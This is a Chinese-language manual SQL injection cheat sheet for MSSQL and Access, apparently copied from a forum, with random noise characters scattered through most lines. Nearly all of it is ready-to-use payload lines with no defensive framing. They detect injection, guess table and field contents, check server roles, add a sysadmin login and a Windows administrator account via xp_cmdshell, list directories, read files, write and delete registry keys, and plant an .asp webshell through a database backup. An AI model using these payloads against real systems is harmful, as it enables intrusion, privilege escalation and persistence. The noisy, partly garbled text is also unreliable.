手工脚本注入 0 P* Y3 W0 `( O( R" K
1.判断是否有注入;and 1=1 ;and 1=2 ; x: `+ }/ t4 t
1 @3 `9 ?4 b& j4 m* w7 E) y
2.初步判断是否是mssql ;and user>0 6 }8 y% z1 n" g
7 m9 v8 D7 ?( H2 @( A
3.注入参数是字符'and [查询条件] and ''='
8 G' Q% e3 K( H2 ?# ~( f
. Y V9 [. ?7 l6 F4.搜索时没过滤参数的'and [查询条件] and '%25'='
0 j; j* U1 U/ U- Q. M
1 n/ {) X9 ?1 Q! P% W# ?6 X& R2 G5.判断数据库系统
" n9 W1 @; {) p; t' U;and (select count(*) from sysobjects)>0 mssql
3 Q% D+ V6 X+ t# g;and (select count(*) from msysobjects)>0 access ; B, d: ]& S/ L- t8 H
$ [8 H( t' s& Z
6.猜数据库 ;and (select Count(*) from [数据库名])>0
7 a' |0 H2 B8 u
4 w J+ ^ K) @- q. v8 ~6 m6 E7.猜字段 ;and (select Count(字段名) from 数据库名)>0 0 L2 m' F5 t8 m" I( B
4 }$ g' b; Q& s1 ]( n4 }! ?5 e1 g& ^
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 & i' B2 }1 M7 k! A
3 J, ]1 U Z1 a# ^3 B
9.(1)猜字段的ascii值(access) ! B. ` f5 P- B3 s& F
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 , d! [) t/ l& T7 I2 A, v
, I7 R: `, W) ]& Z7 K
(2)猜字段的ascii值(mssql) 7 h3 I) l9 d" k$ I4 K
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
5 E t! _& N0 @9 t. k- `/ `! r9 {
. Q3 a2 ^) v( x# m7 V$ Z* v10.测试权限结构(mssql) 0 X3 G; b* G/ _1 F+ s
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 4 W. c; ]5 N/ F3 S0 t
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
' L, P4 b% P1 O& G; k: r5 ^: v;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
# {' p' E& V5 m( W* B% ^0 m;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
* j- P0 z: `- g' u+ B+ ^7 c8 F;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 5 V u8 { }+ R2 _' r- n
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 8 V) ~& n' p; j
;and 1=(select IS_MEMBER('db_owner'));--
* k. z/ w5 C4 p: \& Q( W) t8 y& h$ q: y/ V* _8 o5 L( C
11.添加mssql和系统的帐户
% P1 I+ {" C' Q$ i9 Q' L8 T;exec master.dbo.sp_addlogin username;-- & e1 e/ |" T/ d3 o3 G6 [0 K
; {) B: ]8 i* V5 C
;exec master.dbo.sp_password null,username,password;-- 9 H5 E2 e' D5 J+ |( R2 u
. w; n$ e# l- H1 D \; q
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- / H2 O3 \$ s4 |# c5 d0 w
+ d1 j9 K& ]. f7 Y1 U
;exec master.dbo.xp_cmdshell 'net user username password
1 F6 h* D9 C. H# P7 q( t$ D/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
: J( l, C( Z( ?* |5 T$ v& H2 W8 D, x2 i# W: Z [) A
;exec master.dbo.xp_cmdshell 'net user username password /add';-- * s& d: o2 W& u8 ?
\5 S4 G1 M. M1 q! [4 S* T. v
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 3 N# |* G# i1 x
+ g- ]' D) A' h8 I6 O! |( N# {
12.(1)遍历目录
) d3 a# Q- S$ V) G0 Z
4 G q/ r% R! _- { z;create table dirs(paths varchar(100), id int) : n* {$ R; L! P# c
;insert dirs exec master.dbo.xp_dirtree 'c:\' ( S5 l9 w5 p, V( W# P7 |* S; a& L' {
;and (select top 1 paths from dirs)>0
; d5 I4 C3 @% M. E/ a;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 8 I' t9 b( Z r9 [( S) {
8 a0 m) d7 J4 P' t(2)遍历目录 0 B- X8 g, h, X! V
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 2 B/ y3 d2 ]6 d( Z4 p" h& F) z
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
8 n3 ?, S/ J) y( D v& B;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
& s4 z. Q$ B; `& C4 g2 M;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 % w, P0 Q# W: h* B8 l9 B
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ' y* _5 m2 r0 q$ w# \
$ e7 F+ u4 C! }( M3 o" F: m
13.mssql中的存储过程 B! \5 w; x& E4 k$ M& ^9 X
+ Q9 d4 N% O) u) [4 X* G
xp_regenumvalues 注册表根键, 子键 f: h; n# a, r
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 / }9 K! ~2 Q! b- l8 H) r9 Y5 ]4 r) X
) {) X3 }' m( \$ R# Y9 j# J
xp_regread 根键,子键,键值名
* |; k' b: e% E9 n* C3 u;exec xp_regread
$ O3 N) Z$ B) m; ?; Q( K9 M'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
7 s' w* M. \) ? M+ m' c; ?( s( k% [8 T3 Y4 d$ Z0 k P }
xp_regwrite 根键,子键, 值名, 值类型, 值
; x4 n& u- E# _6 f7 v值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 : \) t: a6 Z, @- {
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
& Q2 t4 b8 j. l
$ Q) L# i2 B* P2 Zxp_regdeletevalue 根键,子键,值名 # G" x5 Y6 H: l( Z1 h- h5 b( b; x
; m: }* U6 Z5 z7 L: s1 y& a0 F; T
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
8 B0 V7 o7 P( m0 J* b3 R
i; m6 l7 `5 Q0 \xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 h" h1 i0 d+ o2 k A
2 Q: h0 J* Z' z6 F7 x2 N' u
14.mssql的backup创建webshell 8 }; \3 G) Q- J- ?' j/ S6 t: [: h
use model , l5 _! k9 \' |/ h7 Z
create table cmd(str image); * k/ Z( A5 O9 s4 v9 e
insert into cmd(str) values ('');
2 g' w1 q" j' G8 e0 T7 K6 i2 q s" `) P6 Ebackup database model to disk='c:\l.asp';
! w- h4 F" E" o0 A, H2 ^- ], y! k* ~+ }. P9 j# F: J
15.mssql内置函数 1 k* H5 _; K4 ]
;and (select @@version)>0 获得Windows的版本号
: F$ q; H Y, x! K/ e;and user_name()='dbo' 判断当前系统的连接用户是不是sa
( H0 h/ S$ D( V& T/ e7 C3 A;and (select user_name())>0 爆当前系统的连接用户 3 g7 B1 V5 ` {/ n
;and (select db_name())>0 得到当前连接的数据库
! n0 i% ?- o6 \( Q6 Y, N3 M& D- E1 O1 v
16.简洁的webshell
% b( t- X2 p) |2 ~8 T* P8 O. u1 | f7 z8 Z1 l
use model
" u8 y1 z) }9 v. L3 `/ o8 p
7 o! L, v2 U9 z0 Z) e* {/ Fcreate table cmd(str image);
! V5 p Q3 I4 ?/ U9 O
8 f' V2 j, i1 M3 w' C# o; Y+ ~- [insert into cmd(str) values (''); 9 u) f6 f( M+ J
4 I" E+ {3 U, K' ybackup database model to disk='g:\wwwtest\l.asp';
% U5 o" Z, g4 L; j6 e! ^9 l9 _. l0 O " Q4 n9 l. n4 u( Y) Z# y3 ^, K' o$ ?
|